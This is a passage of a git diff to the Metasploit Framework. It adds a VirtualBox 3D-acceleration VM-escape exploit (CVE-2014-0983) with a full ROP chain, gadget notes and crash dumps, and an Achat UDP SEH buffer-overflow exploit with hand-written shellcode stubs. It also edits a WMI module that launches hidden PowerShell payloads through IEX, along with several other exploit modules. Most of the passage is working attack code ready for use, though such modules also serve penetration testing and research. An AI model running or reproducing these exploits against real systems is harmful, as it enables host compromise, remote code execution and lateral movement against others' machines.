VBOXGUEST_IOCTL_HGCM_CALL = 2269256 + CONNECT_MSG_SIZE = 140 + DISCONNECT_MSG_SIZE = 8 + SET_VERSION_MSG_SIZE = 40 + SET_PID_MSG_SIZE = 28 + CALL_EA_MSG_SIZE = 40 + VERR_WRONG_ORDER = 0xffffffea + SHCRGL_GUEST_FN_SET_PID = 12 + SHCRGL_CPARMS_SET_PID = 1 + SHCRGL_GUEST_FN_SET_VERSION = 6 + SHCRGL_CPARMS_SET_VERSION = 2 + SHCRGL_GUEST_FN_INJECT = 9 + SHCRGL_CPARMS_INJECT = 2 + CR_PROTOCOL_VERSION_MAJOR = 9 + CR_PROTOCOL_VERSION_MINOR = 1 + VMM_DEV_HGCM_PARM_TYPE_32_BIT = 1 + VMM_DEV_HGCM_PARM_TYPE_64_BIT = 2 + VMM_DEV_HGCM_PARM_TYPE_LIN_ADDR = 5 + + def initialize(info={}) + super(update_info(info, { + 'Name' => 'VirtualBox 3D Acceleration Virtual Machine Escape', + 'Description' => %q{ + This module exploits a vulnerability in the 3D Acceleration support for VirtualBox. The + vulnerability exists in the remote rendering of OpenGL-based 3D graphics. By sending a + sequence of specially crafted rendering messages, a virtual machine can exploit an out + of bounds array access to corrupt memory and escape to the host. This module has been + tested successfully on Windows 7 SP1 (64 bits) as Host running Virtual Box 4.3.6. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Francisco Falcon', # Vulnerability Discovery and PoC + 'Florian Ledoux', # Win 8 64 bits exploitation analysis + 'juan vazquez' # MSF module + ], + 'Arch' => ARCH_X86_64, + 'Platform' => 'win', + 'SessionTypes' => ['meterpreter'], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread' + }, + 'Targets' => + [ + [ 'VirtualBox 4.3.6 / Windows 7 SP1 / 64 bits (ASLR/DEP bypass)', + { + :messages => :target_virtualbox_436_win7_64 + } + ] + ], + 'Payload' => + { + 'Space' => 7000, + 'DisableNops' => true + }, + 'References' => + [ + ['CVE', '2014-0983'], + ['BID', '66133'], + ['URL', 'http://www.coresecurity.com/advisories/oracle-virtualbox-3d-acceleration-multiple-memory-corruption-vulnerabilities'], + ['URL', 'http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=publication&name=oracle_virtualbox_3d_acceleration'], + ['URL', 'http://www.vupen.com/blog/20140725.Advanced_Exploitation_VirtualBox_VM_Escape.php'] + ], + 'DisclosureDate' => 'Mar 11 2014', + 'DefaultTarget' => 0 + })) + + end + + def open_device + r = session.railgun.kernel32.CreateFileA(DEVICE, "GENERIC_READ | GENERIC_WRITE", 0, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_NORMAL", 0) + + handle = r['return'] + + if handle == INVALID_HANDLE_VALUE + return nil + end + + return handle + end + + def send_ioctl(ioctl, msg) + result = session.railgun.kernel32.DeviceIoControl(@handle, ioctl, msg, msg.length, msg.length, msg.length, 4, "") + + if result["GetLastError"] != 0 + unless result["ErrorMessage"].blank? + vprint_error("#{result["ErrorMessage"]}") + end + return nil + end + + unless result["lpBytesReturned"] && result["lpBytesReturned"] == msg.length + unless result["ErrorMessage"].blank? + vprint_error("#{result["ErrorMessage"]}") + end + return nil + end + + unless result["lpOutBuffer"] && result["lpOutBuffer"].unpack("V").first == 0 + unless result["ErrorMessage"].blank? + vprint_error("#{result["ErrorMessage"]}") + end + return nil + end + + result + end + + def connect + msg = "\x00" * CONNECT_MSG_SIZE + + msg[4, 4] = [2].pack("V") + msg[8, "VBoxSharedCrOpenGL".length] = "VBoxSharedCrOpenGL" + + result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CONNECT, msg) + + if result.nil? + return result + end + + client_id = result["lpOutBuffer"][136, 4].unpack("V").first + + client_id + end + + def disconnect + msg = "\x00" * DISCONNECT_MSG_SIZE + + msg[4, 4] = [@client_id].pack("V") + + result = send_ioctl(VBOXGUEST_IOCTL_HGCM_DISCONNECT, msg) + + result + end + + def set_pid(pid) + msg = "\x00" * SET_PID_MSG_SIZE + + msg[0, 4] = [VERR_WRONG_ORDER].pack("V") + msg[4, 4] = [@client_id].pack("V") # u32ClientID + msg[8, 4] = [SHCRGL_GUEST_FN_SET_PID].pack("V") + msg[12, 4] = [SHCRGL_CPARMS_SET_PID].pack("V") + msg[16, 4] = [VMM_DEV_HGCM_PARM_TYPE_64_BIT].pack("V") + msg[20, 4] = [pid].pack("V") + + result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CALL, msg) + + result + end + + def set_version + msg = "\x00" * SET_VERSION_MSG_SIZE + + msg[0, 4] = [VERR_WRONG_ORDER].pack("V") + msg[4, 4] = [@client_id].pack("V") # u32ClientID + msg[8, 4] = [SHCRGL_GUEST_FN_SET_VERSION].pack("V") + msg[12, 4] = [SHCRGL_CPARMS_SET_VERSION].pack("V") + msg[16, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack("V") + msg[20, 4] = [CR_PROTOCOL_VERSION_MAJOR].pack("V") + msg[28, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack("V") + msg[32, 4] = [CR_PROTOCOL_VERSION_MINOR].pack("V") + + result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CALL, msg) + + result + end + + def trigger(buff_addr, buff_length) + msg = "\x00" * CALL_EA_MSG_SIZE + + msg[4, 4] = [@client_id].pack("V") # u32ClientID + msg[8, 4] = [SHCRGL_GUEST_FN_INJECT].pack("V") + msg[12, 4] = [SHCRGL_CPARMS_INJECT].pack("V") + msg[16, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack("V") + msg[20, 4] = [@client_id].pack("V") # u32ClientID + msg[28, 4] = [VMM_DEV_HGCM_PARM_TYPE_LIN_ADDR].pack("V") + msg[32, 4] = [buff_length].pack("V") # size_of(buf) + msg[36, 4] = [buff_addr].pack("V") # (buf) + + result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CALL, msg) + + result + end + + def stack_adjustment + pivot = "\x65\x8b\x04\x25\x10\x00\x00\x00" # "mov eax,dword ptr gs:[10h]" # Get Stack Bottom from TEB + pivot << "\x89\xc4" # mov esp, eax # Store stack bottom in esp + pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # Plus a little offset... + + pivot + end + + def target_virtualbox_436_win7_64(message_id) + opcodes = [0xFF, 0xea, 0x02, 0xf7] + + opcodes_hdr = [ + 0x77474c01, # type CR_MESSAGE_OPCODES + 0x8899, # conn_id + opcodes.length # numOpcodes + ] + + if message_id == 2 + # Message used to achieve Code execution + # See at the end of the module for a better description of the ROP Chain, + # or even better, read: http://www.vupen.com/blog/20140725.Advanced_Exploitation_VirtualBox_VM_Escape.php + # All gadgets from VBoxREM.dll + opcodes_data = [0x8, 0x30, 0x331].pack("V*") + + opcodes_data << [0x6a68599a].pack("Q<") # Gadget 2 # pop rdx # xor ecx,dword ptr [rax] # add cl,cl # movzx eax,al # ret + opcodes_data << [112].pack("Q<") # RDX + opcodes_data << [0x6a70a560].pack("Q<") # Gadget 3 # lea rax,[rsp+8] # ret + opcodes_data << [0x6a692b1c].pack("Q<") # Gadget 4 # lea rax,[rdx+rax] # ret + opcodes_data << [0x6a6931d6].pack("Q<") # Gadget 5 # add dword ptr [rax],eax # add cl,cl # ret + opcodes_data << [0x6a68124e].pack("Q<") # Gadget 6 # pop r12 # ret + opcodes_data << [0x6A70E822].pack("Q<") # R12 := ptr to .data in VBoxREM.dll (4th argument lpflOldProtect) + opcodes_data << [0x6a70927d].pack("Q<") # Gadget 8 # mov r9,r12 # mov r8d,dword ptr [rsp+8Ch] # mov rdx,qword ptr [rsp+68h] # mov rdx,qword ptr [rsp+68h] # call rbp + opcodes_data << Rex::Text.pattern_create(80) + opcodes_data << [0].pack("Q<") # 1st arg (lpAddress) # chain will store stack address here + opcodes_data << Rex::Text.pattern_create(104 - 80 - 8) + opcodes_data << [0x2000].pack("Q<") # 2nd arg (dwSize) + opcodes_data << Rex::Text.pattern_create(140 - 104 - 8) + opcodes_data << [0x40].pack("V") # 3rd arg (flNewProtect) + opcodes_data << Rex::Text.pattern_create(252 - 4 - 140 - 64) + opcodes_data << [0x6A70BB20].pack("V") # ptr to jmp VirtualProtect instr. + opcodes_data << "A" * 8 + opcodes_data << [0x6a70a560].pack("Q<") # Gadget 9 + opcodes_data << [0x6a6c9d3d].pack("Q<") # Gadget 10 + opcodes_data << "\xe9\x5b\x02\x00\x00" # jmp $+608 + opcodes_data << "A" * (624 - 24 - 5) + opcodes_data << [0x6a682a2a].pack("Q<") # Gadget 1 # xchg eax, esp # ret # stack pivot + opcodes_data << stack_adjustment + opcodes_data << payload.encoded + opcodes_data << Rex::Text.pattern_create(8196 - opcodes_data.length) + else + # Message used to corrupt head_spu + # 0x2a9 => offset to head_spu in VBoxSharedCrOpenGL.dll .data + # 8196 => On my tests, this data size allows to keep the memory + # not reused until the second packet arrives. The second packet, + # of course, must have 8196 bytes length too. So this memory is + # reused and code execution can be accomplished. + opcodes_data = [0x8, 0x30, 0x331, 0x2a9].pack("V*") + opcodes_data << "B" * (8196 - opcodes_data.length) + end + + msg = opcodes_hdr.pack("V*") + opcodes.pack("C*") + opcodes_data + + msg + end + + def send_opcodes_msg(process, message_id) + msg = self.send(target[:messages], message_id) + + mem = process.memory.allocate(msg.length + (msg.length % 1024)) + + process.memory.write(mem, msg) + + trigger(mem, msg.length) + end + + def check + handle = open_device + if handle.nil? + return Exploit::CheckCode::Safe + end + session.railgun.kernel32.CloseHandle(handle) + + Exploit::CheckCode::Detected + end + + def exploit + unless self.respond_to?(target[:messages]) + print_error("Invalid target specified: no messages callback function defined") + return + end + + print_status("Opening device...") + @handle = open_device + if @handle.nil? + fail_with(Failure::NoTarget, "#{DEVICE} device not found") + else + print_good("#{DEVICE} found, exploiting...") + end + + print_status("Connecting to the service...") + @client_id = connect + if @client_id.nil? + fail_with(Failure::Unknown, "Connect operation failed") + end + + print_good("Client ID #{@client_id}") + + print_status("Calling SET_VERSION...") + result = set_version + if result.nil? + fail_with(Failure::Unknown, "Failed to SET_VERSION") + end + + this_pid = session.sys.process.getpid + print_status("Calling SET_PID...") + result = set_pid(this_pid) + if result.nil? + fail_with(Failure::Unknown, "Failed to SET_PID") + end + + this_proc = session.sys.process.open + print_status("Sending First 0xEA Opcode Message to control head_spu...") + result = send_opcodes_msg(this_proc, 1) + if result.nil? + fail_with(Failure::Unknown, "Failed to control heap_spu...") + end + + print_status("Sending Second 0xEA Opcode Message to execute payload...") + @old_timeout = session.response_timeout + session.response_timeout = 5 + begin + send_opcodes_msg(this_proc, 2) + rescue Rex::TimeoutError + vprint_status("Expected timeout in case of successful exploitation") + end + end + + def cleanup + unless @old_timeout.nil? + session.response_timeout = @old_timeout + end + + if session_created? + # Unless we add CoE there is nothing to do + return + end + + unless @client_id.nil? + print_status("Disconnecting from the service...") + disconnect + end + + unless @handle.nil? + print_status("Closing the device...") + session.railgun.kernel32.CloseHandle(@handle) + end + end + +end + +=begin + +* VirtualBox 4.3.6 / Windows 7 SP1 64 bits + +Crash after second message: + +0:013> dd rax +00000000`0e99bd44 41306141 61413161 33614132 41346141 +00000000`0e99bd54 61413561 37614136 41386141 62413961 +00000000`0e99bd64 31624130 41326241 62413362 35624134 +00000000`0e99bd74 41366241 62413762 39624138 41306341 +00000000`0e99bd84 63413163 33634132 41346341 63413563 +00000000`0e99bd94 37634136 41386341 64413963 31644130 +00000000`0e99bda4 41326441 64413364 35644134 41366441 +00000000`0e99bdb4 64413764 39644138 41306541 65413165 +0:013> r +rax=000000000e99bd44 rbx=0000000000000001 rcx=000007fef131e8ba +rdx=000000006a72fb62 rsi=000000000e5531f0 rdi=0000000000000000 +rip=000007fef12797f8 rsp=0000000004b5f620 rbp=0000000041424344 << already controlled... + r8=0000000000000001 r9=00000000000005c0 r10=0000000000000000 +r11=0000000000000246 r12=0000000000000000 r13=00000000ffffffff +r14=000007fef1f90000 r15=0000000002f6e280 +iopl=0 nv up ei pl nz na po nc +cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 +VBoxSharedCrOpenGL!crServerAddNewClient+0x208: +000007fe`f12797f8 ff9070030000 call qword ptr [rax+370h] ds:00000000`0e99c0b4=7641397541387541 + +Gadget 1: Stack Pivot # 0x6a682a2a + + xchg eax,esp 94 + ret c3 + +Gadget 2: Control RDX value # 0x6a68599a + + pop rdx 5a + xor ecx,dword ptr [rax] 33 08 + add cl,cl 00 c9 + movzx eax,al 0f b6 c0 + ret c3 + +Gadget 3: Store ptr to RSP in RAX # 0x6a70a560 + + lea rax,[rsp+8] 48 8d 44 24 08 + ret c3 + +Gadget 4: Store ptr to RSP + RDX offset (controlled) in RAX # 0x6a692b1c + + lea rax,[rdx+rax] 48 8d 04 02 + ret c3 + +Gadget 5: Write Stack Address (EAX) to the stack # 0x6a6931d6 + + add dword ptr [rax],eax 01 00 + add cl,cl 00 c9 + ret c3 + +Gadget 6: Control R12 # 0x6a68124e + +pop r12 +ret + +Gadget 7: Recover VirtualProtect arguments from the stack and call it (ebp) # 0x6a70927d + + mov r9,r12 4d 89 e1 + mov r8d,dword ptr [rsp+8Ch] 44 8b 84 24 8c 00 00 00 + mov rdx,qword ptr [rsp+68h] 48 8b 54 24 68 + mov rcx,qword ptr [rsp+50h] 48 8b 4c 24 50 + call rbp ff d5 + +Gadget 8: After VirtualProtect, get pointer to the shellcode in the # 0x6a70a560 + + lea rax, [rsp+8] 48 8d 44 24 08 + ret c3 + + Gadget 9: Push the pointer and provide control to shellcode # 0x6a6c9d3d + + push rax 50 + adc cl,ch 10 e9 + ret c3 + +=end diff --git a/modules/exploits/windows/local/vss_persistence.rb b/modules/exploits/windows/local/vss_persistence.rb index 4366e6b6a0..a869680f6a 100644 --- a/modules/exploits/windows/local/vss_persistence.rb +++ b/modules/exploits/windows/local/vss_persistence.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,6 @@ class Metasploit3 < Msf::Exploit::Local include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::ShadowCopy - include Msf::Post::Windows::Services include Msf::Post::Windows::Registry include Msf::Exploit::EXE diff --git a/modules/exploits/windows/local/wmi.rb b/modules/exploits/windows/local/wmi.rb index e1a1d97022..3f6a75d772 100644 --- a/modules/exploits/windows/local/wmi.rb +++ b/modules/exploits/windows/local/wmi.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -27,13 +27,12 @@ class Metasploit3 < Msf::Exploit::Local the session's current authentication token instead of having to know a password or hash. - We do not get feedback from the WMIC command so there are no - indicators of success or failure. The remote host must be configured - to allow remote Windows Management Instrumentation. + The remote host must be configured to allow remote Windows Management + Instrumentation. }, 'License' => MSF_LICENSE, 'Author' => [ - 'Ben Campbell ' + 'Ben Campbell' ], 'References' => [ @@ -49,10 +48,9 @@ class Metasploit3 < Msf::Exploit::Local 'DisclosureDate' => 'Jan 01 1999', 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], - 'Targets' => + 'Targets' => [ - [ 'Windows x86', { 'Arch' => ARCH_X86 } ], - [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] + [ 'Automatic', { 'Arch' => [ARCH_X86, ARCH_X86_64] } ], ], 'DefaultTarget' => 0 )) @@ -77,33 +75,51 @@ class Metasploit3 < Msf::Exploit::Local end def run_host(server) - # Get the PSH Payload and split it into bitesize chunks - # 1024 appears to be the max value allowed in env vars - psh = cmd_psh_payload(payload.encoded).gsub("\r\n","") - psh = psh[psh.index("$si")..psh.length-1] - chunks = split_code(psh, 1024) + if load_extapi + psh_options = { :remove_comspec => true, + :encode_final_payload => true } + else + psh_options = { :remove_comspec => true, + :encode_inner_payload => true, + :use_single_quotes => true } + end + + psh = cmd_psh_payload(payload.encoded, + payload_instance.arch.first, + psh_options) begin - print_status("[#{server}] Storing payload in environment variables") - env_name = rand_text_alpha(rand(3)+3) - env_vars = [] - 0.upto(chunks.length-1) do |i| - env_vars << "#{env_name}#{i}" - c = "cmd /c SETX #{env_vars[i]} \"#{chunks[i]}\" /m" - result = wmic_command(c, server) + if load_extapi + exec_cmd = psh + else + # Get the PSH Payload and split it into bitesize chunks + # 1024 appears to be the max value allowed in env vars + print_status("[#{server}] Storing payload in environment variables") + chunks = split_code(psh, 1000) + env_name = rand_text_alpha(rand(3)+3) + env_vars = [] + 0.upto(chunks.length-1) do |i| + env_vars << "#{env_name}#{i}" + c = "cmd /c SETX #{env_vars[i]} \"#{chunks[i]}\" /m" + result = wmic_command(c, server) - unless result - print_error("[#{server}] WMIC command error - skipping host") - return false + unless result + print_error("[#{server}] WMIC command error - skipping host") + return false + end end - end - x = rand_text_alpha(rand(3)+3) - exec_cmd = "powershell.exe -nop -w hidden -c $#{x} = ''" - env_vars.each do |env| - exec_cmd << "+$env:#{env}" + x = rand_text_alpha(rand(3)+3) + exec_cmd = generate_psh_command_line({ + :noprofile => true, + :windowstyle => 'hidden', + :command => "$#{x}=''" + }) + env_vars.each do |env| + exec_cmd << "+$env:#{env}" + end + exec_cmd << ";IEX $#{x};" end - exec_cmd << ";IEX $#{x};" print_status("[#{server}] Executing payload") result = wmic_command(exec_cmd, server) @@ -118,14 +134,18 @@ class Metasploit3 < Msf::Exploit::Local print_error("[#{server}] failed...)") end - print_status("[#{server}] Cleaning up environment variables") - env_vars.each do |env| - cleanup_cmd = "cmd /c REG delete \"HKLM\\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" /V #{env} /f" - wmic_command(cleanup_cmd, server) + unless load_extapi + print_status("[#{server}] Cleaning up environment variables") + env_vars.each do |env| + cleanup_cmd = "cmd /c REG delete \"HKLM\\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" /V #{env} /f" + wmic_command(cleanup_cmd, server) + end end rescue Rex::Post::Meterpreter::RequestError => e print_error("[#{server}] Error moving on... #{e}") return false + ensure + Rex::sleep(2) end end diff --git a/modules/exploits/windows/lotus/domino_http_accept_language.rb b/modules/exploits/windows/lotus/domino_http_accept_language.rb index 0396d90073..c806bb71d6 100644 --- a/modules/exploits/windows/lotus/domino_http_accept_language.rb +++ b/modules/exploits/windows/lotus/domino_http_accept_language.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/lotus/domino_icalendar_organizer.rb b/modules/exploits/windows/lotus/domino_icalendar_organizer.rb index b29329933f..f5876e4d5e 100644 --- a/modules/exploits/windows/lotus/domino_icalendar_organizer.rb +++ b/modules/exploits/windows/lotus/domino_icalendar_organizer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/lotus/domino_sametime_stmux.rb b/modules/exploits/windows/lotus/domino_sametime_stmux.rb index 602110d628..f86f06cf09 100644 --- a/modules/exploits/windows/lotus/domino_sametime_stmux.rb +++ b/modules/exploits/windows/lotus/domino_sametime_stmux.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -63,26 +63,27 @@ class Metasploit3 < Msf::Exploit::Remote def check connect - req = "HEAD / HTTP/1.0\r\n\r\n" - req << "User-Agent: Sametime Community Agent\r\n" + req = "HEAD / HTTP/1.1\r\n" req << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n" + req << "User-Agent: Sametime Community Agent\r\n\r\n" + sock.put(req) - res = sock.get_once(-1,3) || '' + res = sock.get_once || '' disconnect - if (res =~/Lotus-Domino/) + if (res.to_s =~/Lotus-Domino/) connect - req = "GET /CommunityCBR HTTP/1.0\r\n\r\n" - req << "User-Agent: Sametime Community Agent\r\n" + req = "GET /CommunityCBR HTTP/1.1\r\n" req << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n" + req << "User-Agent: Sametime Community Agent\r\n\r\n" sock.put(req) - res = sock.get_once(-1,3) || '' + res = sock.get_once || '' disconnect - if (res =~/200 OK/) + if (res.to_s =~ /200 OK/) return Exploit::CheckCode::Detected end end @@ -106,8 +107,8 @@ class Metasploit3 < Msf::Exploit::Remote path = pad1 + jmp + seh + pad2 + popebx + popad + esp req = "POST /CommunityCBR/CC.39.#{path}/\r\n" - req << "User-Agent: Sametime Community Agent\r\n" req << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n" + req << "User-Agent: Sametime Community Agent\r\n" req << "Content-Length: #{payload.encoded.length}\r\n" req << "Connection: Close\r\n" req << "Cache-Control: no-cache\r\n\r\n" diff --git a/modules/exploits/windows/lotus/lotusnotes_lzh.rb b/modules/exploits/windows/lotus/lotusnotes_lzh.rb index 2c205af5c5..95cc18d40f 100644 --- a/modules/exploits/windows/lotus/lotusnotes_lzh.rb +++ b/modules/exploits/windows/lotus/lotusnotes_lzh.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/lpd/hummingbird_exceed.rb b/modules/exploits/windows/lpd/hummingbird_exceed.rb index 96452c1b5e..2696dfd9cf 100644 --- a/modules/exploits/windows/lpd/hummingbird_exceed.rb +++ b/modules/exploits/windows/lpd/hummingbird_exceed.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/lpd/niprint.rb b/modules/exploits/windows/lpd/niprint.rb index 4c31120c8e..56f7267fc3 100644 --- a/modules/exploits/windows/lpd/niprint.rb +++ b/modules/exploits/windows/lpd/niprint.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/lpd/saplpd.rb b/modules/exploits/windows/lpd/saplpd.rb index a89025aa19..c41eccb25d 100644 --- a/modules/exploits/windows/lpd/saplpd.rb +++ b/modules/exploits/windows/lpd/saplpd.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/lpd/wincomlpd_admin.rb b/modules/exploits/windows/lpd/wincomlpd_admin.rb index 163f7b715e..ee2d364df6 100644 --- a/modules/exploits/windows/lpd/wincomlpd_admin.rb +++ b/modules/exploits/windows/lpd/wincomlpd_admin.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'WinComLPD <= 3.0.2 Buffer Overflow', + 'Name' => 'WinComLPD Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in WinComLPD <= 3.0.2. By sending an overly long authentication packet to the remote diff --git a/modules/exploits/windows/misc/achat_bof.rb b/modules/exploits/windows/misc/achat_bof.rb new file mode 100644 index 0000000000..7a53dee238 --- /dev/null +++ b/modules/exploits/windows/misc/achat_bof.rb @@ -0,0 +1,131 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Udp + include Msf::Exploit::Remote::Seh + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Achat Unicode SEH Buffer Overflow', + 'Description' => %q{ + This module exploits a Unicode SEH buffer overflow in Achat. By + sending a crafted message to the default port 9256/UDP, it's possible to overwrite the + SEH handler. Even when the exploit is reliable, it depends on timing since there are + two threads overflowing the stack in the same time. This module has been tested on + Achat v0.150 running on Windows XP SP3 and Windows 7. + }, + 'Author' => + [ + 'Peter Kasza ', # Vulnerability discovery + 'Balazs Bucsay ' # Exploit, Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CWE', '121'], + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process' + }, + 'Payload' => + { + 'DisableNops' => true, + 'Space' => 730, + 'BadChars' => "\x00" + (0x80..0xff).to_a.pack("C*"), + 'StackAdjustment' => -3500, + 'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed, + 'EncoderOptions' => + { + 'BufferRegister' => 'EAX' + } + }, + 'Platform' => 'win', + 'Targets' => + [ + # Tested OK Windows XP SP3, Windows 7 + # Not working on Windows Server 2003 + [ 'Achat beta v0.150 / Windows XP SP3 / Windows 7 SP1', { 'Ret' => "\x2A\x46" } ] #ppr from AChat.exe + ], + 'Privileged' => false, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Dec 18 2014')) + + register_options( + [ + Opt::RPORT(9256) + ], self.class) + end + + def exploit + connect_udp + + # 0055 00 ADD BYTE PTR SS:[EBP],DL # padding + # 2A00 SUB AL,BYTE PTR DS:[EAX] # padding + # 55 PUSH EBP # ebp holds a close pointer to the payload + # 006E 00 ADD BYTE PTR DS:[ESI],CH # padding + # 58 POP EAX # mov eax, ebp + # 006E 00 ADD BYTE PTR DS:[ESI],CH # padding + # 05 00140011 ADD EAX,11001400 # adjusting eax + # 006E 00 ADD BYTE PTR DS:[ESI],CH # padding + # 2D 00130011 SUB EAX,11001300 # lea eax, eax+100 + # 006E 00 ADD BYTE PTR DS:[ESI],CH # padding + # 50 PUSH EAX # eax points to the start of the shellcode + # 006E 00 ADD BYTE PTR DS:[ESI],CH # padding + # 58 POP EAX # padding + # 0043 00 ADD BYTE PTR DS:[EBX],AL # padding + # 59 POP ECX # padding + # 0039 ADD BYTE PTR DS:[ECX],BH # padding + first_stage = "\x55\x2A\x55\x6E\x58\x6E\x05\x14\x11\x6E\x2D\x13\x11\x6E\x50\x6E\x58\x43\x59\x39" + + sploit = 'A0000000002#Main' + "\x00" + 'Z' * 114688 + "\x00" + "A" * 10 + "\x00" + sploit << 'A0000000002#Main' + "\x00" + 'A' * 57288 + 'AAAAASI' * 50 + 'A' * (3750 - 46) + sploit << "\x62" + 'A' * 45 # 0x62 will be used to calculate the right offset + sploit << "\x61\x40" # POPAD + INC EAX + + sploit << target.ret # AChat.exe p/p/r address + + # adjusting the first thread's unicode payload, tricky asm-fu + # the first seh exception jumps here, first_stage variable will be executed + # by the second seh exception as well. It needs to be in sync with the second + # thread, so that is why we adjust eax/ebp to have a close pointer to the + # payload, then first_stage variable will take the rest of the job. + # 0043 00 ADD BYTE PTR DS:[EBX],AL # padding + # 55 PUSH EBP # ebp with close pointer to payload + # 006E 00 ADD BYTE PTR DS:[ESI],CH # padding + # 58 POP EAX # put ebp to eax + # 006E 00 ADD BYTE PTR DS:[ESI],CH # padding + # 2A00 SUB AL,BYTE PTR DS:[EAX] # setting eax to the right place + # 2A00 SUB AL,BYTE PTR DS:[EAX] # adjusting eax a little bit more + # 05 00140011 ADD EAX,11001400 # more adjusting + # 0043 00 ADD BYTE PTR DS:[EBX],AL # padding + # 2D 00130011 SUB EAX,11001300 # lea eax, eax+100 + # 0043 00 ADD BYTE PTR DS:[EBX],AL # padding + # 50 PUSH EAX # saving eax + # 0043 00 ADD BYTE PTR DS:[EBX],AL # padding + # 5D POP EBP # mov ebp, eax + sploit << "\x43\x55\x6E\x58\x6E\x2A\x2A\x05\x14\x11\x43\x2d\x13\x11\x43\x50\x43\x5D" + 'C' * 9 + "\x60\x43" + sploit << "\x61\x43" + target.ret # second nseh entry, for the second thread + sploit << "\x2A" + first_stage + 'C' * (157 - first_stage.length - 31 -3) # put address of the payload to EAX + sploit << payload.encoded + 'A' * (1152 - payload.encoded.length) # placing the payload + sploit << "\x00" + 'A' * 10 + "\x00" + + i = 0 + while i < sploit.length do + if i > 172000 + Rex::sleep(1.0) + end + sent = udp_sock.put(sploit[i..i + 8192 - 1]) + i += sent + end + disconnect_udp + end + +end diff --git a/modules/exploits/windows/misc/actfax_raw_server_bof.rb b/modules/exploits/windows/misc/actfax_raw_server_bof.rb index 18cd325a60..2cf6fd756e 100644 --- a/modules/exploits/windows/misc/actfax_raw_server_bof.rb +++ b/modules/exploits/windows/misc/actfax_raw_server_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/agentxpp_receive_agentx.rb b/modules/exploits/windows/misc/agentxpp_receive_agentx.rb index bed7521e19..8fcdb9e6d8 100644 --- a/modules/exploits/windows/misc/agentxpp_receive_agentx.rb +++ b/modules/exploits/windows/misc/agentxpp_receive_agentx.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/allmediaserver_bof.rb b/modules/exploits/windows/misc/allmediaserver_bof.rb index f9a4f25e19..b7cad7c88a 100644 --- a/modules/exploits/windows/misc/allmediaserver_bof.rb +++ b/modules/exploits/windows/misc/allmediaserver_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: 